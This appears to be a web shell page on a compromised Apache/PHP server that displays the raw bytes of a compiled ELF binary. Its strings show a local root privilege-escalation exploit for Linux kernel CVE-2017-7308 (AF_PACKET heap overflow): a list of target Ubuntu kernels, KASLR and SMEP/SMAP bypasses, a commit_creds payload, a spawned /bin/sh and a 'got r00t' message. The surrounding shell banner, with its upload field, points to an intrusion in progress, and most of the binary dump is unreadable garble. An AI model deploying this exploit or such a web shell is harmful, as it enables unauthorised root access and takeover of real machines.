|
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17 System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64 User : nobody ( 99) PHP Version : 5.2.17 Disable Function : NONE Directory : /home/queenjbs/www/files/muti/shop/data/ |
Upload File : |
ELF > @% @ 0t @ 8
@ @ @ @ @ @ @ H H \ l l \ l l 8 8 8 0 0 h h h D D Std 8 8 8 0 0 Ptd I I I Qtd Rtd \ l l /lib64/ld-linux-x86-64.so.2 GNU GNU KzDC$ YᡙQ GNU - - em > . = { ! 8 2 " | X _ ) v u P n " memmem __cxa_finalize read write sendto stat __isoc99_fscanf __libc_start_main strtoul strcmp if_nametoindex socket fopen fclose uname strtok memset vsnprintf getuid puts system strstr getgid strlen sleep klogctl bind htons fork getpagesize sched_setaffinity get_nprocs_conf exit unshare __stack_chk_fail setns mmap setsockopt libc.so.6 GLIBC_2.33 GLIBC_2.3.4 GLIBC_2.14 GLIBC_2.4 GLIBC_2.2.5 GLIBC_2.7 GLIBC_2.34 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable H R ti ] i ii
t ui ~ ii
l & l % p p @p @ `p @ p 8@ p `@ p @ p @ q @ q A @q (A `q PA q xA q A q A q A o o o o ( o - n n n n n n n n
n n n
n n o o o o o (o 0o 8o @o Ho Po Xo `o ho po xo o ! o " o # o $ o % o & o ' o ) o * o + o , HHO HtH 5bN %cN h h h h h h h h q h a h Q h
A h 1 h ! h
h h h h h h h h h h q h a h Q h A h 1 h ! h h h h h! h" h# h$ h% h& h' q %=M D %K D %K D %K D %K D %K D %K D %K D %K D %K D %K D %}K D %uK D %mK D %eK D %]K D %UK D %MK D %EK D %=K D %5K D %-K D %%K D % K D %K D %
K D %K D %J D %J D %J D %J D %J D %J D %J D %J D %J D %J D %J D %J D %J D %J D 1I^HHPTE11H= sJ f. H=L HL H9tHVJ Ht H=YL H5RL H)HH?HHHtH%J Htf D =L u+UH=J Ht H=J dK ] w UHH`}uUMDEDMdH%( HE1E HUȋEA HѺ
pẼ} y H HǸ IHEк H#EEЋEE؋EEԋEE uE܋EEEEE HUЋEA HѺ Ẽ} y H HǸ n HEdH+%( t UHHP}̉uȉUĉMDEdH%( HE1 ¾ E} y H HǸ -DE}MċUȋűEEAFHE HfE fEHk H$EfE E E HEHEغ HΉJE܃} y H, HǸ = EHUdH+%( t UHH0}HuЉUdH%( HE1HE H H HpEEHEHEHcHuЋEA Iȹ Hy H HǸ HEdH+%( t UHH H}u E}u HD HǸ " hUHMEHΉ UHH ¾ gE}u H HǸ E UHH}uUEAA UHH0}dH%( HE1HMEܺ HΉ#HEdH+%( t UHH }E E 9BSEE+EEE+E-0?EEAd w UHHH}uUHEH8 UHH0 HHdH%( HE1x ?Dž ) N ~H HNHHHHHHPHHHP H@( HHN H HEdH+%( tC UHH HXdH%( HE1 <Džd ! KdHc҉pdd ~H HSHH@HhHhHXHHHF HDžd dHpEdd ~ڐHEdH+%( tA UHH }E lEE;E|ꐐ UHH}EAd ¾ UHSHB HHHHB HHnB HHËjB HHHHB HHGB Hп HӐH] UHH0H}HuUHE HǸ E}uaE E E+E9E~ E+EEEHcЋEHcHEHEHΉE}uEE} uE UHH HXdH%( HE1HpH ll t H" HǸ HXHHp H0H2HH~HHHvHwHzHH)H)уʉHHHHEdH+%( tHX UHH@ dH%( HE1HHǸ H`H0 HHHHH
HRH@f
H`H H, HHEHuH H H`H H HHHuH H H`H H HHkHXHXH`H HIHH HǸ DžT THHHH? HHHH^uOTHHHHt? HHHn HǸ T? HEdH+%( t6/TT kHN H UHH H $ H0dH%( HE1H) HHH HH1u(HHH HǸ Dž HcH H HMHH tHcH H HHH tHUdH+%( t UHH E}t.}4}t}t&H_= HR= HE= UHH dH%( HE1DžX Dž\ \\;X}&XH HǸ Z H`HH HuH HTH`HH HuH H(HEdH+%( t UHSHHdH%( HE1H H
E}u Hr HǸ ËEXÉEEHA A" Hƿ HEUHEHƿ E}u H HǸ H+ HEHEHHEHcHUHEHHEH} u
E EEHcHEH <
uH HEHEH HEHcHUHEH#HEH} u ]HEHHEHMHEк HH]HEHe Hm H H9EvH}wHE HUdH+%( tH] UHH@ dH%( HE1HDž H HH HHHH HǸ wHH HHnHH u(HHH\
HǸ / Dž HHHHIH5h HǸ u'HHH
A HHǸ 5HHHH$uHHH?UHHHHH
HǸ > HUdH+%( t UHHHE +HEH} tHE4 HEH} tHEH{
H UHH Hg
HǸ E}u HY
HǸ | E @u HE
HǸ J H7 H UHHE}u H
HǸ F} u
( UHH H HǸ E}u E UHH H uH HH H ] UHH HHH`HhLpLxt )E)M)U)])e)m)u)}dH%( HH1Dž( Dž,0 HEH0HPH8H(HH@ Hƅ? H@H H HǸ Y$$u T HcH@$HΉ HcH9t$h $T HHdH+%( t UHH dH%( HE1s`xd t H
HǸ @t H
HǸ T H
HH
HǸ uH
HI _`H
HH
HǸ uH
H dH
HH
HǸ ZuH
H HpHƸ HHHHDžh Hh wOHhHH HpHH2Hh? HHH HpHH HHpH¾ \t H4
HǸ H3
HtH8
H HEdH+%( t9 UHH}Hu}~HEH@H2 H
HHT
Hq HW
HXHe
HI N HY
H&H_
H Hn
HH
H H 2 H2 HH
HǸ 2 HHHHB2 HH1 HHHv
HǸ U1 HHHH2 HH1 HHHY
HǸ 1 HHHH1 HHi1 HHH<
HǸ HF
H 7 _H4
HH>
HH1 1 HcHHHX1 H H0 HHHH0
HH%HH?
HǸ :HHH?
HL u h HH /bin/sh 4.8.0-34-generic #36~16.04.1-Ubuntu 4.8.0-36-generic #36~16.04.1-Ubuntu 4.8.0-39-generic #42~16.04.1-Ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu 4.8.0-42-generic #45~16.04.1-Ubuntu 4.8.0-44-generic #47~16.04.1-Ubuntu 4.8.0-45-generic #48~16.04.1-Ubuntu 4.8.0-34-lowlatency #36~16.04.1-Ubuntu 4.8.0-36-lowlatency #36~16.04.1-Ubuntu 4.8.0-39-lowlatency #42~16.04.1-Ubuntu 4.8.0-42-lowlatency #45~16.04.1-Ubuntu 4.8.0-44-lowlatency #47~16.04.1-Ubuntu 4.8.0-45-lowlatency #48~16.04.1-Ubuntu [-] setsockopt(PACKET_VERSION): %m
[-] setsockopt(PACKET_RX_RING): %m
[-] socket(AF_PACKET): %m
lo [-] bind(AF_PACKET): %m
[-] sendto(SOCK_RAW): %m
[-] socket(SOCK_RAW): %m
[-] socket(SOCK_DGRAM): %m
[-] uname(): %m
64 [-] system is not using a 64-bit kernel -Ubuntu [-] system is not using an Ubuntu kernel %s %s [.] kernel version '%s' detected
[-] kernel version not recognized /proc/cpuinfo [-] open/read(%s): %m
smep smap [-] system has less than %d processor cores
/dev/grsec [!] Warning: grsec is in use /proc/sys/lkrg [!] Warning: lkrg is in use [.] trying syslog... [-] klogctl(SYSLOG_ACTION_SIZE_BUFFER): %m
[-] klogctl(SYSLOG_ACTION_READ_ALL): %m
Freeing SMP ffff startup_64 /proc/kallsyms [.] trying %s...
r %p %c %s
%s
[-] kernel base not found in %s
[-] KASLR bypass failed /proc/1/ns/net [-] open(/proc/1/ns/net): %m
[-] error calling setns: %m
[-] fork(): %m
/etc/shadow [.] checking if we got root [-] something went wrong =( [+] got r00t ^_^ [-] unshare(CLONE_NEWUSER): %m
deny /proc/self/setgroups [-] write_file(/proc/self/set_groups) 0 %d 1
/proc/self/uid_map [-] write_file(/proc/self/uid_map) /proc/self/gid_map [-] write_file(/proc/self/gid_map) [-] sched_setaffinity(): %m
/sbin/ifconfig lo up [-] system(/sbin/ifconfig lo up) Linux Kernel AF_PACKET packet_set_ring heap out-of-bounds write local root (CVE-2017-7308) [.] checking kernel version [~] done, version looks good [.] checking system... [~] done, looks good [.] setting up namespace sandbox [~] done, namespace sandbox set up [.] KASLR bypass enabled, getting kernel base address [.] done, kernel text: %lx
[.] commit_creds: %lx
[.] prepare_kernel_cred: %lx
[.] native_write_cr4: %lx
[.] padding heap [.] done, heap is padded [.] SMEP & SMAP bypass enabled, turning them off [.] done, SMEP & SMAP should be off now [.] executing get root payload %p
[.] done, should be root now ; " HP x h8 Q { b ( H Wh - 7 9 k( H l ~ , P p
+ | 0 AP zR x (& D $ 4 FJ w ?:*3$" \ X t P * EC
! 3 EC
* EC
Re EC
\ V EC
M , : EC
q L K EC
B l d EC
[ V' EC
^ ]
EC
G EC
)2 EC
i ;1 EC
h , Lk EC
E] P EC
p EC
EC
( EC
\ EC
S EC
EC
E 4 EC
T -e EC
\ t r EC
K EC
B
F EC
} 3Q EC
H dv EC
m O EC
F 4 EC
& % H
? l l o (
n
o o h
o o
o l 0 @ P ` p ! ! ! 0! @! P! `! p! ! ! ! ! ! ! ! ! " " " 0" @" P" `" p" " " " p @ @ P]
@a
B 8@ P]
@a
B `@ \
`
B @ \
`
B @ \
`
B @ \
`
B A \
`
B (A n
r
I PA n
r
I xA n
r
I A n
r
I A n
r
I A n
r
I GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0 p% % 3 % I r U l | & l DO l I n . V/ - S' 3 A p ] w 3 r8 K 2 ) V * < `p D r K ^ @p d ? j } T9 v p [1 ( ( ; z* d E X t- k L i +
2 \ )& * 5 9 Q p ( C S f p s @ - ) : - 2 r @% & ( r }7 e = :) e ! 2 7 H = * ' G Y l : O 8 F , r p p /* K 5 G " b s C- 1 Scrt1.o __abi_tag crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry poc.c __FRAME_END__ _DYNAMIC __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ get_kernel_version detect_versions __libc_start_main@GLIBC_2.34 packet_socket_setup _ITM_deregisterTMCloneTable __isoc99_fscanf@GLIBC_2.7 puts@GLIBC_2.2.5 vsnprintf@GLIBC_2.2.5 setsockopt@GLIBC_2.2.5 get_kernel_addr_syslog_xenial fork_shell unshare@GLIBC_2.4 get_nprocs_conf@GLIBC_2.2.5 check_env packet_sock_kmalloc write@GLIBC_2.2.5 kernels _edata fclose@GLIBC_2.2.5 SHELL _fini strlen@GLIBC_2.2.5 __stack_chk_fail@GLIBC_2.4 getuid@GLIBC_2.2.5 mmap@GLIBC_2.2.5 system@GLIBC_2.2.5 htons@GLIBC_2.2.5 write_file setns@GLIBC_2.14 uname@GLIBC_2.2.5 kernel smap_smep_enabled memset@GLIBC_2.2.5 oob_setup sendto@GLIBC_2.2.5 get_root_payload sched_setaffinity@GLIBC_2.3.4 read@GLIBC_2.2.5 oob_timer_execute check_smep_smap packet_socket_rx_ring_init get_kernel_addr_kallsyms check_root __data_start strcmp@GLIBC_2.2.5 __gmon_start__ if_nametoindex@GLIBC_2.2.5 stat@GLIBC_2.33 memmem@GLIBC_2.2.5 __dso_handle _IO_stdin_used read_file packet_sock_timer_schedule getgid@GLIBC_2.2.5 kmalloc_pad klogctl@GLIBC_2.2.5 _end packet_socket_send __bss_start get_kernel_addr main loopback_send bind@GLIBC_2.2.5 exec_shell oob_write fopen@GLIBC_2.2.5 strtok@GLIBC_2.2.5 strtoul@GLIBC_2.2.5 setup_sandbox is_root oob_id_match_execute getpagesize@GLIBC_2.2.5 exit@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable CR4_DESIRED_VALUE KERNEL_BASE packet_sock_id_match_trigger sleep@GLIBC_2.2.5 __cxa_finalize@GLIBC_2.2.5 fork@GLIBC_2.2.5 strstr@GLIBC_2.2.5 pagealloc_pad socket@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment # 8 8 0 6 h h $ I W o $ a P i ( ( q o
\ ~ o h
h
B " " " " @% @% Z ? ?
@ @ I I J J P l \ l \ l \ n ^ p ` r b 0 b + 0b 8
hl s